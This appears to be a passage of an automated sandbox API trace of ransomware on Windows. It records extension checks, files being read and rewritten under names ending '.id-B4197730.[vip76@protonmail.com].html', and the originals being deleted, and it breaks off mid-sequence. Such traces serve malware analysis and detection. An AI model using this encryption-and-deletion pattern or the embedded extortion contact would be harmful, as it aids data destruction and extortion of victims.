	[0199.120] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1b68, lpOverlapped=0x0) returned 1
	[0199.243] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1b70, lpOverlapped=0x0) returned 1
	[0199.244] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.244] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.245] SetEndOfFile (hFile=0x554) returned 1
	[0199.245] CloseHandle (hObject=0x554) returned 1
	[0199.245] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.245] SetEndOfFile (hFile=0x5c4) returned 1
	[0199.247] CloseHandle (hObject=0x5c4) returned 1
	[0199.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 1
	[0199.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.249] lstrlenW (lpString=".doc") returned 4
	[0199.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.249] lstrlenW (lpString=".docx") returned 5
	[0199.249] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0199.249] lstrlenW (lpString=".pdf") returned 4
	[0199.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.249] lstrlenW (lpString=".xls") returned 4
	[0199.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.249] lstrlenW (lpString=".xlsx") returned 5
	[0199.249] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0199.249] lstrlenW (lpString=".ppt") returned 4
	[0199.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.249] lstrlenW (lpString=".zip") returned 4
	[0199.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.249] lstrlenW (lpString=".rar") returned 4
	[0199.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.249] lstrlenW (lpString=".bz2") returned 4
	[0199.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.249] lstrlenW (lpString=".7z") returned 3
	[0199.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.249] lstrlenW (lpString=".dbf") returned 4
	[0199.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.249] lstrlenW (lpString=".1cd") returned 4
	[0199.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.250] lstrlenW (lpString=".jpg") returned 4
	[0199.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.250] lstrlenW (lpString=".doc") returned 4
	[0199.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.250] lstrlenW (lpString=".docx") returned 5
	[0199.250] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0199.250] lstrlenW (lpString=".pdf") returned 4
	[0199.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.250] lstrlenW (lpString=".xls") returned 4
	[0199.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.250] lstrlenW (lpString=".xlsx") returned 5
	[0199.250] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0199.250] lstrlenW (lpString=".ppt") returned 4
	[0199.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.250] lstrlenW (lpString=".zip") returned 4
	[0199.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.250] lstrlenW (lpString=".rar") returned 4
	[0199.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.250] lstrlenW (lpString=".bz2") returned 4
	[0199.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.250] lstrlenW (lpString=".7z") returned 3
	[0199.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.250] lstrlenW (lpString=".dbf") returned 4
	[0199.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.251] lstrlenW (lpString=".1cd") returned 4
	[0199.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0199.251] lstrlenW (lpString=".jpg") returned 4
	[0199.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.251] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.251] lstrlenW (lpString="J0107742.WMF") returned 12
	[0199.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.252] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3644) returned 1
	[0199.252] CloseHandle (hObject=0x5c4) returned 1
	[0199.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 0x220
	[0199.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.252] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.253] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0199.254] GetLastError () returned 0x0
	[0199.254] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0xe3c, lpOverlapped=0x0) returned 1
	[0199.307] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xe40, lpOverlapped=0x0) returned 1
	[0199.308] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.308] WriteFile (in: hFile=0x554, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.309] SetEndOfFile (hFile=0x554) returned 1
	[0199.309] CloseHandle (hObject=0x554) returned 1
	[0199.309] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.309] SetEndOfFile (hFile=0x5c4) returned 1
	[0199.311] CloseHandle (hObject=0x5c4) returned 1
	[0199.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 1
	[0199.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.313] lstrlenW (lpString=".doc") returned 4
	[0199.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.313] lstrlenW (lpString=".docx") returned 5
	[0199.313] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0199.313] lstrlenW (lpString=".pdf") returned 4
	[0199.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.313] lstrlenW (lpString=".xls") returned 4
	[0199.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.313] lstrlenW (lpString=".xlsx") returned 5
	[0199.313] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0199.313] lstrlenW (lpString=".ppt") returned 4
	[0199.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.313] lstrlenW (lpString=".zip") returned 4
	[0199.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.313] lstrlenW (lpString=".rar") returned 4
	[0199.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.313] lstrlenW (lpString=".bz2") returned 4
	[0199.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.313] lstrlenW (lpString=".7z") returned 3
	[0199.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.314] lstrlenW (lpString=".dbf") returned 4
	[0199.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.314] lstrlenW (lpString=".1cd") returned 4
	[0199.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.314] lstrlenW (lpString=".jpg") returned 4
	[0199.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.314] lstrlenW (lpString=".doc") returned 4
	[0199.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.314] lstrlenW (lpString=".docx") returned 5
	[0199.314] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0199.314] lstrlenW (lpString=".pdf") returned 4
	[0199.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.314] lstrlenW (lpString=".xls") returned 4
	[0199.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.314] lstrlenW (lpString=".xlsx") returned 5
	[0199.314] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0199.314] lstrlenW (lpString=".ppt") returned 4
	[0199.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.314] lstrlenW (lpString=".zip") returned 4
	[0199.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.314] lstrlenW (lpString=".rar") returned 4
	[0199.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.315] lstrlenW (lpString=".bz2") returned 4
	[0199.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.315] lstrlenW (lpString=".7z") returned 3
	[0199.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.315] lstrlenW (lpString=".dbf") returned 4
	[0199.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.315] lstrlenW (lpString=".1cd") returned 4
	[0199.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0199.315] lstrlenW (lpString=".jpg") returned 4
	[0199.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.315] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.315] lstrlenW (lpString="J0107744.WMF") returned 12
	[0199.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.329] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5004) returned 1
	[0199.329] CloseHandle (hObject=0x5c4) returned 1
	[0199.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 0x220
	[0199.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.330] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.330] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.335] GetLastError () returned 0x0
	[0199.335] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x138c, lpOverlapped=0x0) returned 1
	[0199.346] WriteFile (in: hFile=0x368, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1390, lpOverlapped=0x0) returned 1
	[0199.347] ReadFile (in: hFile=0x5c4, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.347] WriteFile (in: hFile=0x368, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.347] SetEndOfFile (hFile=0x368) returned 1
	[0199.347] CloseHandle (hObject=0x368) returned 1
	[0199.347] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.347] SetEndOfFile (hFile=0x5c4) returned 1
	[0199.350] CloseHandle (hObject=0x5c4) returned 1
	[0199.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 1
	[0199.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.351] lstrlenW (lpString=".doc") returned 4
	[0199.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.351] lstrlenW (lpString=".docx") returned 5
	[0199.351] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0199.351] lstrlenW (lpString=".pdf") returned 4
	[0199.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.351] lstrlenW (lpString=".xls") returned 4
	[0199.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.352] lstrlenW (lpString=".xlsx") returned 5
	[0199.352] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0199.352] lstrlenW (lpString=".ppt") returned 4
	[0199.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.352] lstrlenW (lpString=".zip") returned 4
	[0199.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.352] lstrlenW (lpString=".rar") returned 4
	[0199.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.352] lstrlenW (lpString=".bz2") returned 4
	[0199.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.352] lstrlenW (lpString=".7z") returned 3
	[0199.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.352] lstrlenW (lpString=".dbf") returned 4
	[0199.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.352] lstrlenW (lpString=".1cd") returned 4
	[0199.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.352] lstrlenW (lpString=".jpg") returned 4
	[0199.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.353] lstrlenW (lpString=".doc") returned 4
	[0199.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.353] lstrlenW (lpString=".docx") returned 5
	[0199.353] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0199.353] lstrlenW (lpString=".pdf") returned 4
	[0199.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.353] lstrlenW (lpString=".xls") returned 4
	[0199.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.353] lstrlenW (lpString=".xlsx") returned 5
	[0199.353] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0199.353] lstrlenW (lpString=".ppt") returned 4
	[0199.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.353] lstrlenW (lpString=".zip") returned 4
	[0199.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.353] lstrlenW (lpString=".rar") returned 4
	[0199.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.353] lstrlenW (lpString=".bz2") returned 4
	[0199.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.353] lstrlenW (lpString=".7z") returned 3
	[0199.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.353] lstrlenW (lpString=".dbf") returned 4
	[0199.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.353] lstrlenW (lpString=".1cd") returned 4
	[0199.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0199.354] lstrlenW (lpString=".jpg") returned 4
	[0199.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.354] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.354] lstrlenW (lpString="J0107746.WMF") returned 12
	[0199.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.355] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4788) returned 1
	[0199.355] CloseHandle (hObject=0x5c4) returned 1
	[0199.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 0x220
	[0199.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.355] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.355] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.356] GetLastError () returned 0x0
